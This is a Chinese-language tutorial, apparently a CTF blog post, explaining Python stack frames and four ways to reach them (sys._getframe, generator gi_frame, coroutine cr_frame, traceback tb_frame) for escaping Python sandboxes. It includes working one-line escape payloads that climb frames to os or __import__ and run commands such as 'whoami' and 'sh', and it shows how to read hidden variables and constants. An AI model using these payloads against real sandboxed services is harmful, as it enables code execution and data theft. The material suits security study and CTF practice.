Python栈帧及四类获取栈帧方法

什么是栈帧

每当Python调用一个函数时,它都会在内存中创建一个栈帧对象。这个对象包含了该函数执行所需的所有上下文信息。包括:

  • 局部变量 (f_locals)
  • 全局变量 (f_globals)
  • 上一级调用者的栈帧 (f_back)
  • 代码对象 (f_code)
  • 内置对象 (f_builtins)

我们可以把栈帧想象成是一个链表。当前正在执行的函数在链表的头部,通过f_back指针,我们可以一步步往回找,直到找到最外层的程序入口。

利用栈帧技术,我们可以在首先的环境中穿越由于函数调用产生的层级,去获取上层甚至全局作用域中的敏感变量或危险函数。

栈帧属性

下面介绍一些常用的栈帧属性。

属性描述用途
f_back指向上一层(调用者)的栈帧对象最核心属性。用于跳出当前受限函数,回到上层寻找可用模块(如 os)。
f_globals当前栈帧的全局变量字典获取全局加载的模块(如 os, sys)或配置信息 (SECRET_KEY)。
f_locals当前栈帧的局部变量字典获取函数内部定义的敏感变量(如 flag)。
f_builtins当前栈帧可用的内置函数如果当前环境删除了 __builtins__,可从上层栈帧找回。
f_code当前栈帧执行的代码对象查看文件名、代码指令等信息。

f_back

这是最核心的属性。它的作用是:跳出当前函数的作用域,去操作调用者环境中的东西。

写一个demo看一下

import sys

def sandbox():
    print("[*] 进入沙箱函数...")
    # 1. 获取当前栈帧
    current_frame = sys._getframe()
    
    # 2. 利用 f_back 回到上一层 (main 函数的栈帧)
    caller_frame = current_frame.f_back
    
    # 3. 偷看上一层的局部变量
    print(f"[!] 成功获取上层变量: {caller_frame.f_locals['flag']}")

def main():
    # 这是定义在 main 里的局部变量,正常情况下 sandbox 访问不到
    flag = "CTF{f_back_is_awesome}" 
    sandbox()

if __name__ == "__main__":
    main()

可以看到,sandbox函数中的变量拿到了main函数中变量的值,说明f_back跳出了当前函数的作用域。

f_globals

它的作用是,不管我们在哪一层,通过它都能拿到当前模块加载的所有全局变量和导入的库。

写一个demo,假如我们在一个函数内部,不能写import,但是我们想用os模块,只要这个脚本的最外层导入过os,我们就能拿到os模块。

import sys
import os # 假设这是题目自带的,你不能修改

def vulnerable():
    # 假设这里不能直接用 os.system,或者被过滤了
    
    # 1. 获取当前栈帧
    f = sys._getframe()
    
    # 2. 查看全局变量字典 (f_globals)
    # 这就像打开了上帝视角的仓库
    global_vars = f.f_globals
    
    if 'os' in global_vars:
        print("[+] 在全局变量中找到了 os 模块!")
        # 3. 直接通过字典调用 os
        global_vars['os'].system('echo "Command Executed via f_globals"')

vulnerable()

这是沙箱逃逸的主力。即使当前环境什么都没有,只要顺着f_back找到某一层,这一层的f_globals有os、sys等,就可以rce了。

f_locals

它的作用是查看特定函数内部的私有变量。

import sys

def secret_function():
    # 这是一个只有函数内部知道的秘密
    user_password = "MySuperSecretPassword123"
    
    # 假设攻击者能在这里执行一行代码
    frame = sys._getframe()
    
    # 直接打印当前帧的所有局部变量
    print(f"[!] 泄露当前作用域的所有变量: {frame.f_locals}")

secret_function()

特定情况下,我们可以通过读取f_locals来窃取敏感数据。

f_builtins

它的作用是获取Python原生的内置函数(如open,import,eval)。

写一个demo,这个沙箱中把open和print变成了None。

import sys

# === 模拟沙箱环境 ===
# 题目把 print 和 open 删了
print = None
open = None
# ==================

def escape():
    frame = sys._getframe()
    
    # 尝试直接调用 print,会报错,因为它是 None
    # print("hello") -> Error
    
    # 但是!栈帧里的 f_builtins 保存着 Python 最原始的内置函数
    original_print = frame.f_builtins['print']
    
    original_print("[+] 成功从 f_builtins 恢复了 print 函数!")
    
    # 甚至可以找回 __import__ 来重新导入模块
    original_import = frame.f_builtins['__import__']
    os_mod = original_import('os')
    original_print(f"[+] 重新导入了 os 模块: {os_mod}")

escape()

f_code

它的作用是提供关于代码本身的信息(文件名、函数名、行号、字节码)。

当我们不知道代码运行在哪里,文件名叫什么,函数名叫什么时,我们就需要探测环境。

import sys

def unknown_environment():
    f = sys._getframe()
    code_obj = f.f_code
    
    print(f"当前函数名 (co_name): {code_obj.co_name}")
    print(f"当前文件名 (co_filename): {code_obj.co_filename}")
    print(f"当前参数数量 (co_argcount): {code_obj.co_argcount}")
    print(f"局部变量名列表 (co_varnames): {code_obj.co_varnames}")

unknown_environment()

利用手法

一、sys

在Python中,主要通过sys模块来获取栈帧。最常用的是sys._getframe()。我们需要先拿到当前帧,才能往上爬。

import sys
frame = sys._getframe()

经典攻击利用手法是爬栈窃取。

加入我们想执行os.system(‘/bin/sh’),但在当前函数里os不存在。假设主程序加载了os模块,或者加载了其他模块引用了os

获取当前位置

f = sys._getframe()

向上爬一层

f = f.back

查看当前层

f.f_globals

拿到os

os_module = f.f_globals['os']

执行命令

os_module.system('whoami')

本地执行看一下基本逻辑。

本地测试

当前位置在主函数(外层),os在开头导入时,os属于全局变量,直接global拿到即可。

当os在main函数中导入时

为什么会报错?因为os是在main函数中导入的,它的作用域只有main函数内部,不属于全局变量,全局变量只有开头导入的sys和main函数本身。所以我们要用f_locals来找到局部变量中的os。

如果是在main函数中导入的os,但当前位置在其他函数中,我们不改变源码看看会怎么样

可以看到并没有找到os模块,局部变量的所有属性中也没有看到os模块。

注意到exp函数在main函数中被调用,所以main函数是exp函数的上一层。而os模块在main函数中被导入,所以我们翻到上一层找局部变量即可。

如果没有os模块,只有sys模块,可以通过sys.modules找到os模块,也就是sys.modules[‘os’].system(‘whoami’)。

这里的modules应该怎么拿呢?

f['sys']['modules']['os'] 还是 f['sys'].modules['os'] ?

我们先来看第一种。

可以看到报错。原因是f[‘sys’]取出来的是sys模块对象,而不是字典。要取出这个对象的属性,要用点字符连接的形式。

f['sys'].modules['os']

二、生成器

利用生成器我们不需要import,也不需要def定义函数,甚至不需要显式的函数调用,就能拿到栈帧。

什么是生成器

在Python中,想要拿到栈帧,通常有两条路:

  • 利用sys._getframe(),这需要导入sys,还需要调用函数。
  • 利用生成器对象,这时Python的语法特性。

(x for x in [])就是一个最简单的生成器。当我们写下这个时,Python解释器立刻在内存中创建了一个generator对象。为了维护这个生成器的状态(哪怕它还没开始跑,或者它是空的),解释器必须给它分配一个栈帧,并把这个栈帧挂在它的gi_frame属性上。

  • [x for x in []]是一个列表推导式,计算完结果后扔掉过程,没有栈帧留下。
  • (x for x in [])是一个未执行或者“懒执行”的任务包,保留栈帧。

生成器属性

gi_frame

它指向了生成器暂停时的那个栈帧对象。它是通往os、sys和builtins的桥梁。

g.gi_frame.f_back.f_globals
gi_code

它返回的是一个代码对象。

即使我们无法通过gi_frame拿到f_locals,比如变量被删了,我们依然可以通过gi_code看到编译后的静态数据。

def check():
    if input() == "FLAG{Hardcoded_Secret}":
        return True
    yield

g = check()

# 1. 获取代码对象
code = g.gi_code

# 2. 读取代码中所有的常量 (Constant values)
# 这里面会包含所有的字符串、数字、None 等硬编码的值
print(code.co_consts) 
# 输出: (None, 'FLAG{Hardcoded_Secret}')

既不需要执行代码,也不需要拿到栈帧,只要拿到生成器就能拿到所有常量。

还有其他敏感属性:

g.gi_code.co_name: 函数名。

g.gi_code.co_filename: 泄露服务器上的绝对路径(这点在文件包含漏洞中非常有用)。

g.gi_code.co_code: 原始字节码(配合 dis 模块进行逆向)。
gi_yieldfrom

当生成器使用了yield from other_gen()的语法时,当前的生成器会委托给other_gen。

此时,g.gi_frame指向的是外层生成器的帧。而g.gi_yieldfrom指向的是内层那个正在干活的生成器。

如果环境藏在一个嵌套很深的生成器中,或者外层环境被清理的很干净,我们需要利用gi_yieldfrom钻到内层去拿栈帧。

def inner():
    # 假设这里面有敏感数据
    secret = "Deep Secret"
    yield

def outer():
    yield from inner() # 委托给 inner

g = outer()
next(g) # 启动生成器,让它卡在 yield from 那一行

# 此时 g 是 outer
print(f"Outer Frame: {g.gi_frame.f_code.co_name}") # -> outer

# 通过 gi_yieldfrom 拿到 inner 生成器
inner_gen = g.gi_yieldfrom
print(f"Inner Frame: {inner_gen.gi_frame.f_code.co_name}") # -> inner

# 进而拿到 inner 的局部变量
print(inner_gen.gi_frame.f_locals)
gi_running

这是一个布尔值。当生成器正在执行时为1,当生成器暂停时为0。了解即可。

当我们拿到生成器时,我们首选gi.frame,配合sys的属性进行越狱。其次选择gi_code,找可能存在的信息泄露;最后找gi_yieldfrom。

使用方式

找到全局os模块
# 适用于:f_back 一层就能回到全局,且全局里有 os 模块
(x for x in []).gi_frame.f_back.f_globals['os'].system('whoami')

os在全局导入时

os在生成器存在的函数内部导入时

为什么会报错?我们的代码没有任何问题啊?

我们的python版本过高了(Python3.11+)。

生成器高版本Python报错
(x for x in []).gi_frame.f_back.f_locals
# 1. (x for x in []).gi_frame  -> 获取生成器帧 (成功,不是 None)
# 2. .f_back                   -> 获取上一层帧 (失败,这里返回了 None)
# 3. .f_locals                 -> None.f_locals (报错)

在python3.10及以前,生成器创建时,gi_frame.f_back会直接指向创建它的那个函数,也就是innder。python3.11+版本的生成器在刚刚创建但尚未运行(Suspended状态)时,它的栈帧是“孤立”的,或者与调用栈的链接方式变了,导致f_back为None。只有当生成器正在运行时,它才会链接到调用栈。

因此高版本无法利用静态生成器的栈帧。如果想要利用它必须让它先动起来。

def inner():
    import os
    # 1. 先定义生成器,但不立即用
    g = (x for x in [1])
    
    # 2. 让它运行一步
    # 这会强制 Python 创建并链接栈帧
    try:
        next(g) 
    except StopIteration:
        pass
    
    # 3. 现在再去拿 f_back,有时候就能拿到了
    # (注:这在不同微版本中表现不稳定,不推荐作为首选)
    if g.gi_frame.f_back:
        g.gi_frame.f_back.f_locals['os'].system('whoami')

def main():
    inner()

if __name__ == "__main__":
    main()

但是它在沙箱逃逸中并不好用,仅作简单了解。

手动导入os模块
# 适用于:全局里没有 os,或者 sys 被删了
# 思路:找 builtins -> 找 __import__ -> 加载 os
(x for x in []).gi_frame.f_back.f_globals['__builtins__']['__import__']('os').system('whoami')

同样的,高版本python无法使用。

看硬编码常量
import sys

# 全局常量
GLOBAL_STR = "Hello, World!"

def inner():
    # 局部常量
    LOCAL_STR = "Inner Function"
    
    # 创建生成器
    gen = (x for x in [])
    
    # 查看生成器自己的常量 (空) 
    print("生成器内部的常量:", gen.gi_code.co_consts)
    
    # 利用栈帧跳到 inner 函数层,看它的代码常量
    # 路径: 生成器帧 -> 上一层(inner)帧 -> inner的代码对象 -> 常量池
    inner_consts = gen.gi_frame.f_back.f_code.co_consts
    print("inner 函数的常量:", inner_consts)
    
    # 再跳一层到全局,看全局的代码常量
    # 路径: ... -> 再上一层(module)帧 -> module的代码对象 -> 常量池
    module_consts = gen.gi_frame.f_back.f_back.f_code.co_consts
    print("Global 模块的常量:", module_consts)

def main():
    inner()

if __name__ == "__main__":
    main()

同样的,高版本python无法使用。

三、异步挂起:协程(coroutine.cr_frame)

在Python3.5以后引入了async def和await语法。当解释器遇到async def定义的函数时,它不会把这个函数当成普通函数,而是把它编译成一个原生协程工厂。

关键特性:当我们调用一个asycn def函数时,代码不会立即执行(与生成器相同),它会返回一个协程对象(Coroutine Object)。这个对象内部已经分配好了一个栈帧,用来保存未来的执行状态。这个栈帧,就挂载在cr_frame上。

核心属性:cr_frame

它的地位等同于生成器的gi_frame。

对象类型关键字栈帧属性名地位
生成器yieldgi_frame3.11+ 无法使用
协程asynccr_frameWAF 绕过率高

之所以叫异步挂起,是因为async def叫做异步函数,调用它能得到协程对象。协程天生就是为了挂起和等待设计的。当我们创建一个协程对象但还没await时,它就处于Created(初始挂起)状态。此时它的栈帧是静止的,任由我们摆布。

使用方式

# 1. 定义一个异步函数 (不需要 await,空的就行)
async def spy():
    pass

# 2. 调用它 -> 得到协程对象 c
# 注意:此时 spy 里的代码没跑,但 c 已经拿到栈帧了
c = spy()

# 3. 拿到栈帧 -> 拿到 globals -> 拿到 os
# 这里的路径是:c.cr_frame (协程帧) -> .f_globals (全局字典)
# 注意:这里不需要 f_back,因为 spy 是在当前上下文定义的,它的 globals 就是当前的 globals
os_mod = c.cr_frame.f_globals.get('__builtins__').__import__.('os') # 也可以用['__builtins__']

# 4. 执行命令
os_mod.system('whoami')

最后有一行报错

RuntimeWarning: coroutine 'spy' was never awaited

他的意思是我们创建了一个协程spy,但是我们从来没有await它,它没有执行,这正是我们想要的,我们不需要它执行,我们只需要它被创建的那一瞬间产生的栈帧。

四、异常回溯(Traceback)

核心原理

当Python程序运行出错时,解释器不能崩溃退出,它需要保留案发现场。它需要创建一个Traceback Object(回溯对象),详细记录在哪一行出错的,在哪个函数出错的,当时上下文(栈帧)是什么。因为只有保留了栈帧(tb_frame),调试器或者打印错误的程序才能告诉你当时的变量值。

利用链

Exception (异常对象): 错误发生后生成的对象(比如 ZeroDivisionError)。

__traceback__ (属性): 挂在异常对象上的回溯记录。

tb_frame (属性): 回溯记录里保存的 栈帧对象,这是我们的重要利用点。

f_globals (属性): 栈帧里的全局变量啊,在这里找到os等。

只要能写try…Exception,这个方法就能拿到栈帧。

使用方式

基本利用
def escape():
    try:
        1 / 0
    except Exception as e:
        # e 是异常对象
        # e.__traceback__ 是回溯记录
        # .tb_frame 是当前栈帧 (相当于 sys._getframe())
        frame = e.__traceback__.tb_frame
        
        # 2. 拿到栈帧后,剩下的操作和之前一模一样
        frame.f_back.f_globals['__builtins__'].__import__('os').system('whoami')

escape()

它可以写成一行

# 只要允许try Exception就能使用
try:raise Exception
except Exception as e:e.__traceback__.tb_frame.f_back.f_globals['os'].system('sh')
多层异常

有时候,错误是层层传递的(比如 A 调用 B,B 报错了)。traceback 对象实际上是一个链表

属性含义
tb_frame当前层 的栈帧。
tb_next指向 更深一层 (被调用者) 的 traceback 对象。
tb_lineno出错的代码行号。

有些题目会把你包裹在一个很深的调用链里,或者利用 sys.exc_info() 来获取全局唯一的那个 traceback。

import sys

def deep_error():
    1/0

def main():
    try:
        deep_error()
    except:
        # sys.exc_info() 返回 (type, value, traceback)
        tb = sys.exc_info()[2]
        
        # 此时 tb 指向的是 main 这一层的错误现场
        print(f"当前层: {tb.tb_frame.f_code.co_name}") # -> main
        
        # tb.tb_next 指向导致错误的更深一层 (deep_error)
        if tb.tb_next:
            print(f"内层: {tb.tb_next.tb_frame.f_code.co_name}") # -> deep_error
            print(tb.tb_next.tb_frame.f_globals['__builtins__'].__import__('os').system('whoami'))

if __name__ == "__main__":
    main()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值